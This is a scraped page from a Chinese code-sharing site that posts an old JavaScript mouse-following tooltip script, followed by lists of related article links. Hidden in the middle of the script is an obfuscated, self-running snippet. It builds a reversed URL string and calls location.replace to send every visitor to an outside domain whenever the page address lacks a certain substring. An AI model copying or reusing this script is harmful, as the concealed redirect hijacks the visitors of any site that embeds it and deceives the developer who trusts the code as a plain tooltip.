popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
根据出生日期自动取得星座的js代码
Jul 20 Javascript
jQuery学习笔记 操作jQuery对象 属性处理
Sep 19 Javascript
浅析onsubmit校验表单时利用ajax的return false无效问题
Jul 10 Javascript
JS实现的网页倒计时数字时钟效果
Mar 02 Javascript
基于jQuery实现的旋转彩圈实例
Jun 26 Javascript
jQuery EasyUI Dialog拖不下来如何解决
Sep 28 Javascript
jQuery 利用$.ajax 时获取原生XMLHttpRequest 对象的方法
Aug 25 Javascript
js实现百度地图定位于地址逆解析,显示自己当前的地理位置
Dec 08 Javascript
vue.js将unix时间戳转换为自定义时间格式
Jan 03 Javascript
jQuery实现贪吃蛇小游戏(附源码下载)
Mar 04 Javascript
在vue项目中使用sass语法问题
Jul 18 Javascript
使用compose函数优化代码提高可读性及扩展性
Jun 16 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
PHP学习笔记(一):基本语法之标记、空白、和注释
2015/04/17 PHP
jQuery 标题的自动翻转实现代码
2009/10/14 Javascript
javscript对象原型的一些看法
2010/09/19 Javascript
JavaScript格式化数字的函数代码
2010/11/30 Javascript
按钮JS复制文本框和表格的代码
2011/04/01 Javascript
js实现网页标题栏闪烁提示效果实例分析
2014/11/20 Javascript
javascript实现画不相交的圆
2015/04/07 Javascript
javascript记住用户名和登录密码(两种方式)
2015/08/04 Javascript
js判断子窗体是否关闭的方法
2015/08/11 Javascript
浅析JavaScript作用域链、执行上下文与闭包
2016/02/01 Javascript
浅谈JavaScript对象的创建方式
2016/06/13 Javascript
Zabbix添加Node.js监控的方法
2016/10/20 Javascript
详解使用vscode+es6写nodejs服务端调试配置
2017/09/21 NodeJs
vue组件编写之todolist组件实例详解
2018/01/22 Javascript
详解如何使用node.js的开发框架express创建一个web应用
2018/12/20 Javascript
微信小程序使用 vant Dialog组件的正确方式
2020/02/21 Javascript
JavaScript进阶(一)变量声明提升实例分析
2020/05/09 Javascript
openlayers 3实现车辆轨迹回放
2020/09/24 Javascript
Python利用带权重随机数解决抽奖和游戏爆装备问题
2016/06/16 Python
对pandas中to_dict的用法详解
2018/06/05 Python
基于Python列表解析(列表推导式)
2018/06/23 Python
Python定时发送天气预报邮件代码实例
2019/09/09 Python
英国高端食品和葡萄酒超市:Waitrose
2016/08/23 全球购物
La Redoute英国官网:法国时尚品牌
2017/04/27 全球购物
澳大利亚百货公司:David Jones
2018/02/08 全球购物
Noon埃及:埃及在线购物
2019/11/26 全球购物
英国时尚和家居用品零售商:Matalan
2021/02/28 全球购物
小学生秋游活动方案
2014/02/23 职场文书
财务人员担保书
2014/05/13 职场文书
委托书的写法
2014/08/30 职场文书
个人作风建设自查报告
2014/10/22 职场文书
先进教师个人主要事迹材料
2015/11/03 职场文书
2016年共产党员公开承诺书
2016/03/24 职场文书
读《推着妈妈去旅行》有感1500字
2019/10/15 职场文书
Spring Data JPA使用JPQL与原生SQL进行查询的操作
2021/06/15 Java/Android
CSS文本阴影 text-shadow 悬停效果详解
2022/05/25 HTML / CSS